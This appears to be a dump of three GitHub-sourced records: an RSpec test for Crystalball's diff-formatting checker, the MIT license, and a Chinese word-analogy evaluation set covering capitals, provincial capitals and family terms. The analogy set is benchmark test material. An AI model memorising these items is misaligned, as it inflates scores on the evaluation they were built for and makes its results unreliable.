text
stringlengths 2
99.5k
| meta
dict |
|---|---|
# frozen_string_literal: true
require 'spec_helper'
describe Crystalball::SourceDiff::FormattingChecker do
describe '.pure_formatting?' do
subject { described_class.pure_formatting?(file_diff) }
let(:file_diff) { double(path: path, patch: patch, **flags) }
let(:path) { 'lib/crystalball.rb' }
let(:patch) { " 'some here'\n+ 's'\n-'a'\t" }
let(:flags) { {modified?: modified, moved?: moved, new?: new, deleted?: deleted} }
let(:modified) { true }
let(:moved) { false }
let(:new) { false }
let(:deleted) { false }
it { is_expected.to eq false }
context 'when patch is with whitespace only' do
let(:patch) { "+ \n" }
it { is_expected.to eq true }
end
context 'when patch for ERB file' do
let(:path) { 'lib/template.erb' }
it { is_expected.to eq false }
end
context 'when patch contains a comment only' do
let(:patch) { " 'some here'\n+ # one\n- # another" }
it { is_expected.to eq true }
end
context 'when file is not for .rb or .erb file' do
let(:path) { 'lib/index.html' }
it { is_expected.to eq false }
end
context 'when file was moved' do
let(:modified) { false }
let(:moved) { true }
it { is_expected.to eq false }
end
context 'when file was added' do
let(:modified) { false }
let(:added) { true }
it { is_expected.to eq false }
end
context 'when file was deleted' do
let(:modified) { false }
let(:deleted) { true }
it { is_expected.to eq false }
end
end
end
|
{
"pile_set_name": "Github"
}
|
The MIT License
Copyright (c) 2013 Daniel Mohl, FSharp.org, and contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
|
{
"pile_set_name": "Github"
}
|
: capital-common-countries
雅典 希腊 巴格达 伊拉克
雅典 希腊 曼谷 泰国
雅典 希腊 北京 中国
雅典 希腊 柏林 德国
雅典 希腊 伯尔尼 瑞士
雅典 希腊 开罗 埃及
雅典 希腊 堪培拉 澳大利亚
雅典 希腊 河内 越南
雅典 希腊 哈瓦那 古巴
雅典 希腊 赫尔辛基 芬兰
雅典 希腊 伊斯兰堡 巴基斯坦
雅典 希腊 喀布尔 阿富汗
雅典 希腊 伦敦 英国
雅典 希腊 马德里 西班牙
雅典 希腊 莫斯科 俄罗斯
雅典 希腊 奥斯陆 挪威
雅典 希腊 渥太华 加拿大
雅典 希腊 巴黎 法国
雅典 希腊 罗马 意大利
雅典 希腊 斯德哥尔摩 瑞典
雅典 希腊 德黑兰 伊朗
雅典 希腊 东京 日本
巴格达 伊拉克 曼谷 泰国
巴格达 伊拉克 北京 中国
巴格达 伊拉克 柏林 德国
巴格达 伊拉克 伯尔尼 瑞士
巴格达 伊拉克 开罗 埃及
巴格达 伊拉克 堪培拉 澳大利亚
巴格达 伊拉克 河内 越南
巴格达 伊拉克 哈瓦那 古巴
巴格达 伊拉克 赫尔辛基 芬兰
巴格达 伊拉克 伊斯兰堡 巴基斯坦
巴格达 伊拉克 喀布尔 阿富汗
巴格达 伊拉克 伦敦 英国
巴格达 伊拉克 马德里 西班牙
巴格达 伊拉克 莫斯科 俄罗斯
巴格达 伊拉克 奥斯陆 挪威
巴格达 伊拉克 渥太华 加拿大
巴格达 伊拉克 巴黎 法国
巴格达 伊拉克 罗马 意大利
巴格达 伊拉克 斯德哥尔摩 瑞典
巴格达 伊拉克 德黑兰 伊朗
巴格达 伊拉克 东京 日本
巴格达 伊拉克 雅典 希腊
曼谷 泰国 北京 中国
曼谷 泰国 柏林 德国
曼谷 泰国 伯尔尼 瑞士
曼谷 泰国 开罗 埃及
曼谷 泰国 堪培拉 澳大利亚
曼谷 泰国 河内 越南
曼谷 泰国 哈瓦那 古巴
曼谷 泰国 赫尔辛基 芬兰
曼谷 泰国 伊斯兰堡 巴基斯坦
曼谷 泰国 喀布尔 阿富汗
曼谷 泰国 伦敦 英国
曼谷 泰国 马德里 西班牙
曼谷 泰国 莫斯科 俄罗斯
曼谷 泰国 奥斯陆 挪威
曼谷 泰国 渥太华 加拿大
曼谷 泰国 巴黎 法国
曼谷 泰国 罗马 意大利
曼谷 泰国 斯德哥尔摩 瑞典
曼谷 泰国 德黑兰 伊朗
曼谷 泰国 东京 日本
曼谷 泰国 雅典 希腊
曼谷 泰国 巴格达 伊拉克
北京 中国 柏林 德国
北京 中国 伯尔尼 瑞士
北京 中国 开罗 埃及
北京 中国 堪培拉 澳大利亚
北京 中国 河内 越南
北京 中国 哈瓦那 古巴
北京 中国 赫尔辛基 芬兰
北京 中国 伊斯兰堡 巴基斯坦
北京 中国 喀布尔 阿富汗
北京 中国 伦敦 英国
北京 中国 马德里 西班牙
北京 中国 莫斯科 俄罗斯
北京 中国 奥斯陆 挪威
北京 中国 渥太华 加拿大
北京 中国 巴黎 法国
北京 中国 罗马 意大利
北京 中国 斯德哥尔摩 瑞典
北京 中国 德黑兰 伊朗
北京 中国 东京 日本
北京 中国 雅典 希腊
北京 中国 巴格达 伊拉克
北京 中国 曼谷 泰国
柏林 德国 伯尔尼 瑞士
柏林 德国 开罗 埃及
柏林 德国 堪培拉 澳大利亚
柏林 德国 河内 越南
柏林 德国 哈瓦那 古巴
柏林 德国 赫尔辛基 芬兰
柏林 德国 伊斯兰堡 巴基斯坦
柏林 德国 喀布尔 阿富汗
柏林 德国 伦敦 英国
柏林 德国 马德里 西班牙
柏林 德国 莫斯科 俄罗斯
柏林 德国 奥斯陆 挪威
柏林 德国 渥太华 加拿大
柏林 德国 巴黎 法国
柏林 德国 罗马 意大利
柏林 德国 斯德哥尔摩 瑞典
柏林 德国 德黑兰 伊朗
柏林 德国 东京 日本
柏林 德国 雅典 希腊
柏林 德国 巴格达 伊拉克
柏林 德国 曼谷 泰国
柏林 德国 北京 中国
伯尔尼 瑞士 开罗 埃及
伯尔尼 瑞士 堪培拉 澳大利亚
伯尔尼 瑞士 河内 越南
伯尔尼 瑞士 哈瓦那 古巴
伯尔尼 瑞士 赫尔辛基 芬兰
伯尔尼 瑞士 伊斯兰堡 巴基斯坦
伯尔尼 瑞士 喀布尔 阿富汗
伯尔尼 瑞士 伦敦 英国
伯尔尼 瑞士 马德里 西班牙
伯尔尼 瑞士 莫斯科 俄罗斯
伯尔尼 瑞士 奥斯陆 挪威
伯尔尼 瑞士 渥太华 加拿大
伯尔尼 瑞士 巴黎 法国
伯尔尼 瑞士 罗马 意大利
伯尔尼 瑞士 斯德哥尔摩 瑞典
伯尔尼 瑞士 德黑兰 伊朗
伯尔尼 瑞士 东京 日本
伯尔尼 瑞士 雅典 希腊
伯尔尼 瑞士 巴格达 伊拉克
伯尔尼 瑞士 曼谷 泰国
伯尔尼 瑞士 北京 中国
伯尔尼 瑞士 柏林 德国
开罗 埃及 堪培拉 澳大利亚
开罗 埃及 河内 越南
开罗 埃及 哈瓦那 古巴
开罗 埃及 赫尔辛基 芬兰
开罗 埃及 伊斯兰堡 巴基斯坦
开罗 埃及 喀布尔 阿富汗
开罗 埃及 伦敦 英国
开罗 埃及 马德里 西班牙
开罗 埃及 莫斯科 俄罗斯
开罗 埃及 奥斯陆 挪威
开罗 埃及 渥太华 加拿大
开罗 埃及 巴黎 法国
开罗 埃及 罗马 意大利
开罗 埃及 斯德哥尔摩 瑞典
开罗 埃及 德黑兰 伊朗
开罗 埃及 东京 日本
开罗 埃及 雅典 希腊
开罗 埃及 巴格达 伊拉克
开罗 埃及 曼谷 泰国
开罗 埃及 北京 中国
开罗 埃及 柏林 德国
开罗 埃及 伯尔尼 瑞士
堪培拉 澳大利亚 河内 越南
堪培拉 澳大利亚 哈瓦那 古巴
堪培拉 澳大利亚 赫尔辛基 芬兰
堪培拉 澳大利亚 伊斯兰堡 巴基斯坦
堪培拉 澳大利亚 喀布尔 阿富汗
堪培拉 澳大利亚 伦敦 英国
堪培拉 澳大利亚 马德里 西班牙
堪培拉 澳大利亚 莫斯科 俄罗斯
堪培拉 澳大利亚 奥斯陆 挪威
堪培拉 澳大利亚 渥太华 加拿大
堪培拉 澳大利亚 巴黎 法国
堪培拉 澳大利亚 罗马 意大利
堪培拉 澳大利亚 斯德哥尔摩 瑞典
堪培拉 澳大利亚 德黑兰 伊朗
堪培拉 澳大利亚 东京 日本
堪培拉 澳大利亚 雅典 希腊
堪培拉 澳大利亚 巴格达 伊拉克
堪培拉 澳大利亚 曼谷 泰国
堪培拉 澳大利亚 北京 中国
堪培拉 澳大利亚 柏林 德国
堪培拉 澳大利亚 伯尔尼 瑞士
堪培拉 澳大利亚 开罗 埃及
河内 越南 哈瓦那 古巴
河内 越南 赫尔辛基 芬兰
河内 越南 伊斯兰堡 巴基斯坦
河内 越南 喀布尔 阿富汗
河内 越南 伦敦 英国
河内 越南 马德里 西班牙
河内 越南 莫斯科 俄罗斯
河内 越南 奥斯陆 挪威
河内 越南 渥太华 加拿大
河内 越南 巴黎 法国
河内 越南 罗马 意大利
河内 越南 斯德哥尔摩 瑞典
河内 越南 德黑兰 伊朗
河内 越南 东京 日本
河内 越南 雅典 希腊
河内 越南 巴格达 伊拉克
河内 越南 曼谷 泰国
河内 越南 北京 中国
河内 越南 柏林 德国
河内 越南 伯尔尼 瑞士
河内 越南 开罗 埃及
河内 越南 堪培拉 澳大利亚
哈瓦那 古巴 赫尔辛基 芬兰
哈瓦那 古巴 伊斯兰堡 巴基斯坦
哈瓦那 古巴 喀布尔 阿富汗
哈瓦那 古巴 伦敦 英国
哈瓦那 古巴 马德里 西班牙
哈瓦那 古巴 莫斯科 俄罗斯
哈瓦那 古巴 奥斯陆 挪威
哈瓦那 古巴 渥太华 加拿大
哈瓦那 古巴 巴黎 法国
哈瓦那 古巴 罗马 意大利
哈瓦那 古巴 斯德哥尔摩 瑞典
哈瓦那 古巴 德黑兰 伊朗
哈瓦那 古巴 东京 日本
哈瓦那 古巴 雅典 希腊
哈瓦那 古巴 巴格达 伊拉克
哈瓦那 古巴 曼谷 泰国
哈瓦那 古巴 北京 中国
哈瓦那 古巴 柏林 德国
哈瓦那 古巴 伯尔尼 瑞士
哈瓦那 古巴 开罗 埃及
哈瓦那 古巴 堪培拉 澳大利亚
哈瓦那 古巴 河内 越南
赫尔辛基 芬兰 伊斯兰堡 巴基斯坦
赫尔辛基 芬兰 喀布尔 阿富汗
赫尔辛基 芬兰 伦敦 英国
赫尔辛基 芬兰 马德里 西班牙
赫尔辛基 芬兰 莫斯科 俄罗斯
赫尔辛基 芬兰 奥斯陆 挪威
赫尔辛基 芬兰 渥太华 加拿大
赫尔辛基 芬兰 巴黎 法国
赫尔辛基 芬兰 罗马 意大利
赫尔辛基 芬兰 斯德哥尔摩 瑞典
赫尔辛基 芬兰 德黑兰 伊朗
赫尔辛基 芬兰 东京 日本
赫尔辛基 芬兰 雅典 希腊
赫尔辛基 芬兰 巴格达 伊拉克
赫尔辛基 芬兰 曼谷 泰国
赫尔辛基 芬兰 北京 中国
赫尔辛基 芬兰 柏林 德国
赫尔辛基 芬兰 伯尔尼 瑞士
赫尔辛基 芬兰 开罗 埃及
赫尔辛基 芬兰 堪培拉 澳大利亚
赫尔辛基 芬兰 河内 越南
赫尔辛基 芬兰 哈瓦那 古巴
伊斯兰堡 巴基斯坦 喀布尔 阿富汗
伊斯兰堡 巴基斯坦 伦敦 英国
伊斯兰堡 巴基斯坦 马德里 西班牙
伊斯兰堡 巴基斯坦 莫斯科 俄罗斯
伊斯兰堡 巴基斯坦 奥斯陆 挪威
伊斯兰堡 巴基斯坦 渥太华 加拿大
伊斯兰堡 巴基斯坦 巴黎 法国
伊斯兰堡 巴基斯坦 罗马 意大利
伊斯兰堡 巴基斯坦 斯德哥尔摩 瑞典
伊斯兰堡 巴基斯坦 德黑兰 伊朗
伊斯兰堡 巴基斯坦 东京 日本
伊斯兰堡 巴基斯坦 雅典 希腊
伊斯兰堡 巴基斯坦 巴格达 伊拉克
伊斯兰堡 巴基斯坦 曼谷 泰国
伊斯兰堡 巴基斯坦 北京 中国
伊斯兰堡 巴基斯坦 柏林 德国
伊斯兰堡 巴基斯坦 伯尔尼 瑞士
伊斯兰堡 巴基斯坦 开罗 埃及
伊斯兰堡 巴基斯坦 堪培拉 澳大利亚
伊斯兰堡 巴基斯坦 河内 越南
伊斯兰堡 巴基斯坦 哈瓦那 古巴
伊斯兰堡 巴基斯坦 赫尔辛基 芬兰
喀布尔 阿富汗 伦敦 英国
喀布尔 阿富汗 马德里 西班牙
喀布尔 阿富汗 莫斯科 俄罗斯
喀布尔 阿富汗 奥斯陆 挪威
喀布尔 阿富汗 渥太华 加拿大
喀布尔 阿富汗 巴黎 法国
喀布尔 阿富汗 罗马 意大利
喀布尔 阿富汗 斯德哥尔摩 瑞典
喀布尔 阿富汗 德黑兰 伊朗
喀布尔 阿富汗 东京 日本
喀布尔 阿富汗 雅典 希腊
喀布尔 阿富汗 巴格达 伊拉克
喀布尔 阿富汗 曼谷 泰国
喀布尔 阿富汗 北京 中国
喀布尔 阿富汗 柏林 德国
喀布尔 阿富汗 伯尔尼 瑞士
喀布尔 阿富汗 开罗 埃及
喀布尔 阿富汗 堪培拉 澳大利亚
喀布尔 阿富汗 河内 越南
喀布尔 阿富汗 哈瓦那 古巴
喀布尔 阿富汗 赫尔辛基 芬兰
喀布尔 阿富汗 伊斯兰堡 巴基斯坦
伦敦 英国 马德里 西班牙
伦敦 英国 莫斯科 俄罗斯
伦敦 英国 奥斯陆 挪威
伦敦 英国 渥太华 加拿大
伦敦 英国 巴黎 法国
伦敦 英国 罗马 意大利
伦敦 英国 斯德哥尔摩 瑞典
伦敦 英国 德黑兰 伊朗
伦敦 英国 东京 日本
伦敦 英国 雅典 希腊
伦敦 英国 巴格达 伊拉克
伦敦 英国 曼谷 泰国
伦敦 英国 北京 中国
伦敦 英国 柏林 德国
伦敦 英国 伯尔尼 瑞士
伦敦 英国 开罗 埃及
伦敦 英国 堪培拉 澳大利亚
伦敦 英国 河内 越南
伦敦 英国 哈瓦那 古巴
伦敦 英国 赫尔辛基 芬兰
伦敦 英国 伊斯兰堡 巴基斯坦
伦敦 英国 喀布尔 阿富汗
马德里 西班牙 莫斯科 俄罗斯
马德里 西班牙 奥斯陆 挪威
马德里 西班牙 渥太华 加拿大
马德里 西班牙 巴黎 法国
马德里 西班牙 罗马 意大利
马德里 西班牙 斯德哥尔摩 瑞典
马德里 西班牙 德黑兰 伊朗
马德里 西班牙 东京 日本
马德里 西班牙 雅典 希腊
马德里 西班牙 巴格达 伊拉克
马德里 西班牙 曼谷 泰国
马德里 西班牙 北京 中国
马德里 西班牙 柏林 德国
马德里 西班牙 伯尔尼 瑞士
马德里 西班牙 开罗 埃及
马德里 西班牙 堪培拉 澳大利亚
马德里 西班牙 河内 越南
马德里 西班牙 哈瓦那 古巴
马德里 西班牙 赫尔辛基 芬兰
马德里 西班牙 伊斯兰堡 巴基斯坦
马德里 西班牙 喀布尔 阿富汗
马德里 西班牙 伦敦 英国
莫斯科 俄罗斯 奥斯陆 挪威
莫斯科 俄罗斯 渥太华 加拿大
莫斯科 俄罗斯 巴黎 法国
莫斯科 俄罗斯 罗马 意大利
莫斯科 俄罗斯 斯德哥尔摩 瑞典
莫斯科 俄罗斯 德黑兰 伊朗
莫斯科 俄罗斯 东京 日本
莫斯科 俄罗斯 雅典 希腊
莫斯科 俄罗斯 巴格达 伊拉克
莫斯科 俄罗斯 曼谷 泰国
莫斯科 俄罗斯 北京 中国
莫斯科 俄罗斯 柏林 德国
莫斯科 俄罗斯 伯尔尼 瑞士
莫斯科 俄罗斯 开罗 埃及
莫斯科 俄罗斯 堪培拉 澳大利亚
莫斯科 俄罗斯 河内 越南
莫斯科 俄罗斯 哈瓦那 古巴
莫斯科 俄罗斯 赫尔辛基 芬兰
莫斯科 俄罗斯 伊斯兰堡 巴基斯坦
莫斯科 俄罗斯 喀布尔 阿富汗
莫斯科 俄罗斯 伦敦 英国
莫斯科 俄罗斯 马德里 西班牙
奥斯陆 挪威 渥太华 加拿大
奥斯陆 挪威 巴黎 法国
奥斯陆 挪威 罗马 意大利
奥斯陆 挪威 斯德哥尔摩 瑞典
奥斯陆 挪威 德黑兰 伊朗
奥斯陆 挪威 东京 日本
奥斯陆 挪威 雅典 希腊
奥斯陆 挪威 巴格达 伊拉克
奥斯陆 挪威 曼谷 泰国
奥斯陆 挪威 北京 中国
奥斯陆 挪威 柏林 德国
奥斯陆 挪威 伯尔尼 瑞士
奥斯陆 挪威 开罗 埃及
奥斯陆 挪威 堪培拉 澳大利亚
奥斯陆 挪威 河内 越南
奥斯陆 挪威 哈瓦那 古巴
奥斯陆 挪威 赫尔辛基 芬兰
奥斯陆 挪威 伊斯兰堡 巴基斯坦
奥斯陆 挪威 喀布尔 阿富汗
奥斯陆 挪威 伦敦 英国
奥斯陆 挪威 马德里 西班牙
奥斯陆 挪威 莫斯科 俄罗斯
渥太华 加拿大 巴黎 法国
渥太华 加拿大 罗马 意大利
渥太华 加拿大 斯德哥尔摩 瑞典
渥太华 加拿大 德黑兰 伊朗
渥太华 加拿大 东京 日本
渥太华 加拿大 雅典 希腊
渥太华 加拿大 巴格达 伊拉克
渥太华 加拿大 曼谷 泰国
渥太华 加拿大 北京 中国
渥太华 加拿大 柏林 德国
渥太华 加拿大 伯尔尼 瑞士
渥太华 加拿大 开罗 埃及
渥太华 加拿大 堪培拉 澳大利亚
渥太华 加拿大 河内 越南
渥太华 加拿大 哈瓦那 古巴
渥太华 加拿大 赫尔辛基 芬兰
渥太华 加拿大 伊斯兰堡 巴基斯坦
渥太华 加拿大 喀布尔 阿富汗
渥太华 加拿大 伦敦 英国
渥太华 加拿大 马德里 西班牙
渥太华 加拿大 莫斯科 俄罗斯
渥太华 加拿大 奥斯陆 挪威
巴黎 法国 罗马 意大利
巴黎 法国 斯德哥尔摩 瑞典
巴黎 法国 德黑兰 伊朗
巴黎 法国 东京 日本
巴黎 法国 雅典 希腊
巴黎 法国 巴格达 伊拉克
巴黎 法国 曼谷 泰国
巴黎 法国 北京 中国
巴黎 法国 柏林 德国
巴黎 法国 伯尔尼 瑞士
巴黎 法国 开罗 埃及
巴黎 法国 堪培拉 澳大利亚
巴黎 法国 河内 越南
巴黎 法国 哈瓦那 古巴
巴黎 法国 赫尔辛基 芬兰
巴黎 法国 伊斯兰堡 巴基斯坦
巴黎 法国 喀布尔 阿富汗
巴黎 法国 伦敦 英国
巴黎 法国 马德里 西班牙
巴黎 法国 莫斯科 俄罗斯
巴黎 法国 奥斯陆 挪威
巴黎 法国 渥太华 加拿大
罗马 意大利 斯德哥尔摩 瑞典
罗马 意大利 德黑兰 伊朗
罗马 意大利 东京 日本
罗马 意大利 雅典 希腊
罗马 意大利 巴格达 伊拉克
罗马 意大利 曼谷 泰国
罗马 意大利 北京 中国
罗马 意大利 柏林 德国
罗马 意大利 伯尔尼 瑞士
罗马 意大利 开罗 埃及
罗马 意大利 堪培拉 澳大利亚
罗马 意大利 河内 越南
罗马 意大利 哈瓦那 古巴
罗马 意大利 赫尔辛基 芬兰
罗马 意大利 伊斯兰堡 巴基斯坦
罗马 意大利 喀布尔 阿富汗
罗马 意大利 伦敦 英国
罗马 意大利 马德里 西班牙
罗马 意大利 莫斯科 俄罗斯
罗马 意大利 奥斯陆 挪威
罗马 意大利 渥太华 加拿大
罗马 意大利 巴黎 法国
斯德哥尔摩 瑞典 德黑兰 伊朗
斯德哥尔摩 瑞典 东京 日本
斯德哥尔摩 瑞典 雅典 希腊
斯德哥尔摩 瑞典 巴格达 伊拉克
斯德哥尔摩 瑞典 曼谷 泰国
斯德哥尔摩 瑞典 北京 中国
斯德哥尔摩 瑞典 柏林 德国
斯德哥尔摩 瑞典 伯尔尼 瑞士
斯德哥尔摩 瑞典 开罗 埃及
斯德哥尔摩 瑞典 堪培拉 澳大利亚
斯德哥尔摩 瑞典 河内 越南
斯德哥尔摩 瑞典 哈瓦那 古巴
斯德哥尔摩 瑞典 赫尔辛基 芬兰
斯德哥尔摩 瑞典 伊斯兰堡 巴基斯坦
斯德哥尔摩 瑞典 喀布尔 阿富汗
斯德哥尔摩 瑞典 伦敦 英国
斯德哥尔摩 瑞典 马德里 西班牙
斯德哥尔摩 瑞典 莫斯科 俄罗斯
斯德哥尔摩 瑞典 奥斯陆 挪威
斯德哥尔摩 瑞典 渥太华 加拿大
斯德哥尔摩 瑞典 巴黎 法国
斯德哥尔摩 瑞典 罗马 意大利
德黑兰 伊朗 东京 日本
德黑兰 伊朗 雅典 希腊
德黑兰 伊朗 巴格达 伊拉克
德黑兰 伊朗 曼谷 泰国
德黑兰 伊朗 北京 中国
德黑兰 伊朗 柏林 德国
德黑兰 伊朗 伯尔尼 瑞士
德黑兰 伊朗 开罗 埃及
德黑兰 伊朗 堪培拉 澳大利亚
德黑兰 伊朗 河内 越南
德黑兰 伊朗 哈瓦那 古巴
德黑兰 伊朗 赫尔辛基 芬兰
德黑兰 伊朗 伊斯兰堡 巴基斯坦
德黑兰 伊朗 喀布尔 阿富汗
德黑兰 伊朗 伦敦 英国
德黑兰 伊朗 马德里 西班牙
德黑兰 伊朗 莫斯科 俄罗斯
德黑兰 伊朗 奥斯陆 挪威
德黑兰 伊朗 渥太华 加拿大
德黑兰 伊朗 巴黎 法国
德黑兰 伊朗 罗马 意大利
德黑兰 伊朗 斯德哥尔摩 瑞典
东京 日本 雅典 希腊
东京 日本 巴格达 伊拉克
东京 日本 曼谷 泰国
东京 日本 北京 中国
东京 日本 柏林 德国
东京 日本 伯尔尼 瑞士
东京 日本 开罗 埃及
东京 日本 堪培拉 澳大利亚
东京 日本 河内 越南
东京 日本 哈瓦那 古巴
东京 日本 赫尔辛基 芬兰
东京 日本 伊斯兰堡 巴基斯坦
东京 日本 喀布尔 阿富汗
东京 日本 伦敦 英国
东京 日本 马德里 西班牙
东京 日本 莫斯科 俄罗斯
东京 日本 奥斯陆 挪威
东京 日本 渥太华 加拿大
东京 日本 巴黎 法国
东京 日本 罗马 意大利
东京 日本 斯德哥尔摩 瑞典
东京 日本 德黑兰 伊朗
: city-in-state
石家庄 河北 南昌 江西
石家庄 河北 海口 海南
石家庄 河北 兰州 甘肃
石家庄 河北 西宁 青海
太原 山西 南昌 江西
太原 山西 广州 广东
太原 山西 西宁 青海
沈阳 辽宁 哈尔滨 黑龙江
沈阳 辽宁 杭州 浙江
沈阳 辽宁 南昌 江西
沈阳 辽宁 贵阳 贵州
沈阳 辽宁 兰州 甘肃
沈阳 辽宁 南宁 广西
沈阳 辽宁 银川 宁夏
长春 吉林 石家庄 河北
长春 吉林 哈尔滨 黑龙江
长春 吉林 南京 江苏
长春 吉林 杭州 浙江
长春 吉林 合肥 安徽
长春 吉林 南昌 江西
长春 吉林 广州 广东
长春 吉林 贵阳 贵州
长春 吉林 西安 陕西
长春 吉林 呼和浩特 内蒙古
哈尔滨 黑龙江 南京 江苏
哈尔滨 黑龙江 南昌 江西
哈尔滨 黑龙江 贵阳 贵州
哈尔滨 黑龙江 昆明 云南
哈尔滨 黑龙江 南宁 广西
南京 江苏 杭州 浙江
南京 江苏 合肥 安徽
南京 江苏 福州 福建
南京 江苏 郑州 河南
南京 江苏 广州 广东
南京 江苏 成都 四川
南京 江苏 贵阳 贵州
南京 江苏 西安 陕西
南京 江苏 呼和浩特 内蒙古
杭州 浙江 广州 广东
杭州 浙江 海口 海南
杭州 浙江 西宁 青海
杭州 浙江 南宁 广西
合肥 安徽 太原 山西
合肥 安徽 沈阳 辽宁
合肥 安徽 长春 吉林
合肥 安徽 杭州 浙江
合肥 安徽 成都 四川
合肥 安徽 兰州 甘肃
福州 福建 石家庄 河北
福州 福建 南昌 江西
福州 福建 郑州 河南
福州 福建 贵阳 贵州
福州 福建 昆明 云南
福州 福建 乌鲁木齐 新疆
南昌 江西 长春 吉林
南昌 江西 福州 福建
南昌 江西 海口 海南
南昌 江西 银川 宁夏
济南 山东 太原 山西
济南 山东 杭州 浙江
济南 山东 合肥 安徽
济南 山东 长沙 湖南
济南 山东 海口 海南
济南 山东 贵阳 贵州
济南 山东 西安 陕西
郑州 河南 长春 吉林
郑州 河南 福州 福建
郑州 河南 武汉 湖北
郑州 河南 长沙 湖南
郑州 河南 成都 四川
郑州 河南 昆明 云南
郑州 河南 兰州 甘肃
郑州 河南 银川 宁夏
武汉 湖北 沈阳 辽宁
武汉 湖北 杭州 浙江
武汉 湖北 西安 陕西
武汉 湖北 兰州 甘肃
武汉 湖北 西宁 青海
武汉 湖北 拉萨 西藏
武汉 湖北 银川 宁夏
长沙 湖南 合肥 安徽
长沙 湖南 济南 山东
长沙 湖南 广州 广东
长沙 湖南 拉萨 西藏
广州 广东 石家庄 河北
广州 广东 沈阳 辽宁
广州 广东 南京 江苏
广州 广东 杭州 浙江
广州 广东 福州 福建
广州 广东 南昌 江西
广州 广东 济南 山东
广州 广东 拉萨 西藏
广州 广东 呼和浩特 内蒙古
海口 海南 南京 江苏
海口 海南 济南 山东
海口 海南 武汉 湖北
海口 海南 长沙 湖南
海口 海南 西安 陕西
成都 四川 太原 山西
成都 四川 哈尔滨 黑龙江
成都 四川 南京 江苏
成都 四川 杭州 浙江
成都 四川 长沙 湖南
成都 四川 兰州 甘肃
成都 四川 南宁 广西
成都 四川 呼和浩特 内蒙古
成都 四川 银川 宁夏
贵阳 贵州 石家庄 河北
贵阳 贵州 太原 山西
贵阳 贵州 哈尔滨 黑龙江
贵阳 贵州 南昌 江西
贵阳 贵州 济南 山东
贵阳 贵州 广州 广东
贵阳 贵州 西安 陕西
贵阳 贵州 拉萨 西藏
昆明 云南 长春 吉林
昆明 云南 杭州 浙江
昆明 云南 合肥 安徽
昆明 云南 济南 山东
昆明 云南 武汉 湖北
昆明 云南 广州 广东
昆明 云南 兰州 甘肃
昆明 云南 西宁 青海
昆明 云南 呼和浩特 内蒙古
昆明 云南 乌鲁木齐 新疆
西安 陕西 石家庄 河北
西安 陕西 哈尔滨 黑龙江
西安 陕西 南京 江苏
西安 陕西 武汉 湖北
西安 陕西 海口 海南
西安 陕西 贵阳 贵州
西安 陕西 呼和浩特 内蒙古
兰州 甘肃 武汉 湖北
兰州 甘肃 海口 海南
兰州 甘肃 西宁 青海
兰州 甘肃 拉萨 西藏
兰州 甘肃 南宁 广西
兰州 甘肃 呼和浩特 内蒙古
兰州 甘肃 银川 宁夏
西宁 青海 哈尔滨 黑龙江
西宁 青海 南京 江苏
西宁 青海 杭州 浙江
西宁 青海 济南 山东
西宁 青海 成都 四川
西宁 青海 贵阳 贵州
西宁 青海 南宁 广西
西宁 青海 银川 宁夏
拉萨 西藏 石家庄 河北
拉萨 西藏 哈尔滨 黑龙江
拉萨 西藏 福州 福建
拉萨 西藏 郑州 河南
拉萨 西藏 长沙 湖南
拉萨 西藏 贵阳 贵州
拉萨 西藏 西宁 青海
南宁 广西 杭州 浙江
南宁 广西 福州 福建
南宁 广西 南昌 江西
南宁 广西 成都 四川
南宁 广西 昆明 云南
呼和浩特 内蒙古 太原 山西
呼和浩特 内蒙古 昆明 云南
呼和浩特 内蒙古 西安 陕西
呼和浩特 内蒙古 兰州 甘肃
呼和浩特 内蒙古 拉萨 西藏
银川 宁夏 福州 福建
银川 宁夏 拉萨 西藏
乌鲁木齐 新疆 石家庄 河北
乌鲁木齐 新疆 沈阳 辽宁
乌鲁木齐 新疆 哈尔滨 黑龙江
乌鲁木齐 新疆 合肥 安徽
乌鲁木齐 新疆 广州 广东
乌鲁木齐 新疆 成都 四川
乌鲁木齐 新疆 西安 陕西
乌鲁木齐 新疆 兰州 甘肃
乌鲁木齐 新疆 南宁 广西
: family
男孩 女孩 兄弟 姐妹
男孩 女孩 爸爸 妈妈
男孩 女孩 父亲 母亲
男孩 女孩 祖父 祖母
男孩 女孩 爷爷 奶奶
男孩 女孩 孙子 孙女
男孩 女孩 新郎 新娘
男孩 女孩 丈夫 妻子
男孩 女孩 国王 王后
男孩 女孩 男人 女人
男孩 女孩 侄子 侄女
男孩 女孩 王子 公主
男孩 女孩 儿子 女儿
男孩 女孩 继父 继母
男孩 女孩 继子 继女
男孩 女孩 叔叔 阿姨
兄弟 姐妹 爸爸 妈妈
兄弟 姐妹 父亲 母亲
兄弟 姐妹 祖父 祖母
兄弟 姐妹 爷爷 奶奶
兄弟 姐妹 孙子 孙女
兄弟 姐妹 新郎 新娘
兄弟 姐妹 丈夫 妻子
兄弟 姐妹 国王 王后
兄弟 姐妹 男人 女人
兄弟 姐妹 侄子 侄女
兄弟 姐妹 王子 公主
兄弟 姐妹 儿子 女儿
兄弟 姐妹 继父 继母
兄弟 姐妹 继子 继女
兄弟 姐妹 叔叔 阿姨
兄弟 姐妹 男孩 女孩
爸爸 妈妈 父亲 母亲
爸爸 妈妈 祖父 祖母
爸爸 妈妈 爷爷 奶奶
爸爸 妈妈 孙子 孙女
爸爸 妈妈 新郎 新娘
爸爸 妈妈 丈夫 妻子
爸爸 妈妈 国王 王后
爸爸 妈妈 男人 女人
爸爸 妈妈 侄子 侄女
爸爸 妈妈 王子 公主
爸爸 妈妈 儿子 女儿
爸爸 妈妈 继父 继母
爸爸 妈妈 继子 继女
爸爸 妈妈 叔叔 阿姨
